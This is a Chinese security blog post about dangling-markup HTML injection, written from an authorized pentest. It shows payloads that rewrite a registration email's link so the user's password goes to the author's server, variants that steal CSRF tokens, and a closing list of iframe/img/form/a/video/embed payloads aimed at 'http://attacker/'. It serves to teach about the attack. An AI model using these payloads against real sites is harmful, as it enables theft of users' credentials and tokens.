背景
这是我最近在做某个渗透项目时遇到的一个场景,觉得很有意思,所以记录了下来。
先来思考一下,如果有一个点,可以插入一些常用标签,按漏洞分类的话应归属于 HTML 注入,但就是不能执行事件执行 JS(我这里指的是一定不会执行 JS)你会怎么利用?
iframe 钓鱼?css 注入?CSRF?这些都是我们比较常用的方法,得分场景利用。
再来说一下我最近遇到的这个点。
这是一个注册用户功能,用户填好个人信息和注册邮箱后,系统会自动生成一个随机密码,然后会按照“欢迎注册”的模板,替换里面的变量,发送一封欢迎注册的 HTML 邮件给用户。
这个注册邮件里包含了这些信息:账号、密码、超链接。
其中账号是用户写的,密码是随机生成的。
这份邮件分为中文部分和英文部分,大概类似下面这样。
亲爱的 XXX,欢迎注册XXX,您的初始密码是:123456。
...
http://www.xxx.com/xxx
...
Dear XXX, welcome to register XXX. Your initial password is 123456.
...
http://www.xxx.com/xxx
...
而超链接的一部分正好是我可控的。
也就是说当我修改了这个“超链接”后,每个用户在注册时收到的邮件里包含的那个超链接是被我修改过的。
由于触发点是某邮件系统客户端,XSS 没戏,只能靠最传统的几个标签来完成攻击。
利用方法
背景已交代详细,下面我来说下我的利用方法。
由于是授权的保密项目,不方便透露,所以我将大致功能模拟了一下。
“欢迎注册”的邮件模板大致是这个样子的
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>欢迎注册</title>
</head>
<body>
<div x="xxx">
<p x="xxx">您的账号是 {1} 密码是 {2} </p>
<p x="xxx">登录地址:</p>
<a href="{3}">{3}</a>
</div>
<div x="xxx">
<p x="xxx">your account is {1} password is {2} </p>
<p x="xxx">login address:</p>
<a href="{3}">{3}</a>
</div>
</body>
</html>
这段HTML邮件模板里用户名、密码、超链接分别对应的点是 {1} {2} {3},{3} 超链接是我可控的点。
当用户注册时,就会把这三个变量提取出来,替换到它们对应的位置上,然后发送邮件给用户。
一般这种情况,简单一点的利用方式就是,插入一个自己服务器的钓鱼 URL,然后诱导注册者点击访问。
我构造了这样一段 payload。使它的危害等级可以升级一个 level。
</a><a x='>点击此链接激活账号</a><!--' href='http://b1ue.cn/?
替换掉 {3} 后源码如下,能看懂这段 HTML 也就能明白我要做什么了。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>欢迎注册</title>
</head>
<body>
<div x="xxx">
<p x="xxx">您的账号是 {1} 密码是 {2} </p>
<p x="xxx">登录地址:</p>
<a href="</a><a x='>点击此链接激活账号</a><!--' href='http://b1ue.cn/?"></a><a x='>点击此链接激活账号</a><!--' href='http://b1ue.cn/?</a>
</div>
<div x="xxx">
<p x="xxx">your account is {1} password is {2} </p>
<p x="xxx">login address:</p>
<a href="</a><a x='>点击此链接激活账号</a><!--' href='http://b1ue.cn/?"></a><a x='>点击此链接激活账号</a><!--' href='http://b1ue.cn/?</a>
</div>
</body>
</html>
我要做的事就是,创建一个超链接,把邮件里的敏感信息(用户名、密码)携带进来,当用户点击我带有诱导性的超链接时就会把他的账号密码发送到我的服务器。
因为可控点是一个,但输出点是两个,要考虑到页面完整展示,所以 payload 看起来有点奇怪。
实际上最后展示在邮件页面上的就是一个 a 标签。
<a x='>点击此链接激活账号</a><!--' href='http://b1ue.cn/?</a>
</div>
<div x="xxx">
<p x="xxx">your account is {1} password is {2} </p>
<p x="xxx">login address:</p>
<a href="</a><a x='>点击此链接激活账号</a>
这是一个完整的 a 标签,重点在于 这个a 标签的 href 属性使用了单引号 '
包裹 URL,和页面上的其他标签的双引号"
没有起冲突,最后由 payload里的 标签的 x 属性这段 '>点击此链接激活账号</a><!--'
来结束 a 标签并且注释掉后面的标签,让页面看起来是正常的。
来看一下在浏览器里访问的效果。
当我点击这个“点击此链接激活账号”超链接时,就会把账号和密码英文部分的html携带到我服务器 http://b1ue.cn
的参数部分。
我把大致的场景写了一个简单的 DEMO,源码上传到了 github。
https://github.com/iSafeBlue/HTML-based-injection-attack-demo
首先启动这个 springboot 项目,默认 8080 端口。
然后打开首页就是一个注册页面。
在表单里输入邮箱,或直接访问这个 URL,就会发送邮件。
http://127.0.0.1:8080/register?email=xxx%403dmail.top
先来看一下正常的邮件。
http://127.0.0.1:8080/set?key=portal_url&value=</a><a x='>点击此链接激活账号</a><!--' href='http://127.0.0.1/?
然后再去修改邮件模板中 {3} 位置的超链接 URL 为我的 payload
</a><a x='>点击此链接激活账号</a><!--' href='http://127.0.0.1/?
修改成功后重新给我的邮箱发送一封注册邮件
http://127.0.0.1:8080/register?email=xxx%403dmail.top
这时再去点击这个我注入进去的超链接,就会把生成的随机密码携带到我的服务器里。
举一反三
这种攻击方法,当然不仅仅局限于这一种场景,也不局限于一个 a 标签。
也可以是 form 标签、img 标签、iframe 标签等可以跨域请求的标签。
仔细思考一下,其实有很多可以利用的场景,我举几个例子
场景1:截获 TOKEN
TOKEN 一般用于防御 CSRF,有些网站它会把 TOKEN 放在 hidden input 标签里。
也有一些会携带到超链接里(如 discuz)。
{1}
<div>
<input type="hidden" name="CSRF_TOKEN" value="bbbc91aa69902418cad12b17e4df1d0d">
</div>
{2}
上面这段代码的 {1} 和 {2} 如果可控,那可以构造这样的 payload。
{1}=<img src='http://b1ue.cn/?
{2}='>
payload 如下。
http://127.0.0.1:8080/token?point1=<img src='http://127.0.0.1/?&point2='>
场景2:截获后台信息
拿留言举例,你可以留下两条留言。
第一条是'>
,隔一段时间再留第二条<img src='http://b1ue.cn/?
。
如果对方后台留言是时间倒序展示,你就可以看到第一条到第二条留言这段时间其他人的留言。
此处不再做演示。
总结
当然以上情况都是建立在可以插入 HTML 标签,且两个可控点之间的 HTML 包含敏感信息且没有单引号(或双引号)阻断。
其实如果可控点只有一个的话,那就需要找找页面里面有没有 '> 或者 "> ,这样就可以只用一个点来触发。
最后我总结出几种利用的 payload 供参考学习。
- iframe
http://target/token?point1=<iframe src='http://attacker/?&point2='></iframe>
- img
http://target/token?point1=<img src='http://attacker/?&point2='>
http://target/token?point1=<image src='http://attacker/?&point2='>aaa</image>
- form
http://target/token?point1=<form action='http://attacker/&point2='><input type="submit"></form>
http://target/token?point1=<form action="http://attacker" method="post"><textarea name="x">&point2=</textarea><input type="submit"></form>
http://target/token?point1=<form><input type="submit" formaction='http://attacker/&point2='></form>
- a
http://target/token?point1=<a href='http://attacker/?&point2='>click me</a>
http://target/token?point1=<math href='http://attacker/?&point2='>aaa</math>
- video
http://target/token?point1=<video src='http://attacker/?&point2='>aaa</video>
http://target/token?point1=<video><source src='http://attacker/?&point2='>aaa</source></video>
- embed
http://target/token?point1=<embed src='http://attacker/?&point2='>aaa</embed>
其他场景和利用方法还得靠大家自由发挥。